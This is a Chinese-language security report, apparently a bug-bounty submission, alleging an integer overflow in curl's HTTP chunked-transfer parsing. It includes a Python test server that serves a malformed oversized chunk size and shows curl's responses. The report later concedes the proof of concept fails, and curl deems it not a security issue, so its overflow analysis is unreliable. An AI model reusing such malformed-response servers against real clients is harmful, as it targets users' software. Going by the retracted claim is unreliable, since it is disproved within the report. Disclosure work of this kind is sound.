安全分析报告:CURL整数溢出漏洞
漏洞概述
漏洞类型:HTTP分块编码中的整数溢出
源代码位置:
lib/http_chunks.c (第173行)
lib/curlx/strparse.c (第185–186行)
影响范围
- 整数溢出导致内存损坏
- 可能引发缓冲区溢出
- 导致curl拒绝服务(DoS)
- 在受控条件下可能造成信息泄露
问题代码片段
1
2
3
4
5
6
7
8
9
|
// http_chunks.c 第173行
if(curlx_str_hex(&p, &ch->datasize, CURL_OFF_T_MAX)) {
// 错误处理
}
// strparse.c 第185-186行
if(num > ((max - n) / base))
return STRE_OVERFLOW;
num = num * base + n;
|
问题分析
当max = CURL_OFF_T_MAX (0x7FFFFFFFFFFFFFFF)时,溢出检查可能被绕过。这使得num能够超过最大值而不触发溢出保护,导致curl处理分块响应时出现内存损坏。
测试环境搭建
Python测试服务器模拟漏洞行为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
#!/usr/bin/env python3
import socket
import threading
def create_test_response():
overflow_chunk_size = "7FFFFFFFFFFFFFFFF"
html_content = "<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"
response = (
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: text/html\r\n"
"Connection: close\r\n"
"\r\n"
f"{overflow_chunk_size}\r\n"
"VULNERABILITY_PROOF_DATA\r\n"
f"{len(html_content):X}\r\n"
f"{html_content}\r\n"
"0\r\n"
"\r\n"
)
return response.encode()
def handle_client(client_socket, addr):
print(f"[+] Connection from {addr}")
try:
request = client_socket.recv(1024)
print(f"[+] Sending test response with overflow and HTML chunk...")
response = create_test_response()
client_socket.send(response)
print(f"[+] Response sent!")
except Exception as e:
print(f"[-] Error: {e}")
finally:
client_socket.close()
def start_test_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind(('127.0.0.1', 8080))
server.listen(5)
print("=" * 60)
print("CURL整数溢出测试延续")
print("=" * 60)
print("服务器运行在8080端口")
print("发送溢出块后,将跟随HTML块")
print("运行: curl http://127.0.0.1:8080")
print("=" * 60)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=handle_client, args=(client_socket, addr))
client_thread.daemon = True
client_thread.start()
except KeyboardInterrupt:
print("\n[+] 服务器已停止")
finally:
server.close()
if __name__ == "__main__":
start_test_server()
|
测试结果
使用17位十六进制数测试:
1
2
|
└─$ curl http://127.0.0.1:8080
curl: (56) chunk hex-length longer than 16
|
使用16位十六进制数测试:
1
2
3
4
5
6
7
|
└─$ curl http://127.0.0.1:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining
└─$
|
后续进展
报告者后续说明:
经过进一步测试和审查,发现PoC在某些测试中使用了无效的块大小表示(如7FFFFFFFFFFFFFFFF - 17位十六进制数),curl正确地拒绝了这些请求。使用16位十六进制值(7FFFFFFFFFFFFFFF)在本地产生了意外行为,但这并不能证明在主线的curl中存在可靠的远程利用。
curl团队回应:
经过评估,认为这不是安全问题,报告状态更改为"不适用",并根据项目透明度政策公开了此报告。
报告信息
- 报告ID: #3344663
- 报告日期: 2025年9月17日
- 公开日期: 2025年9月18日
- 弱点类型: 整数溢出
- CVE ID: 无
- 赏金: 无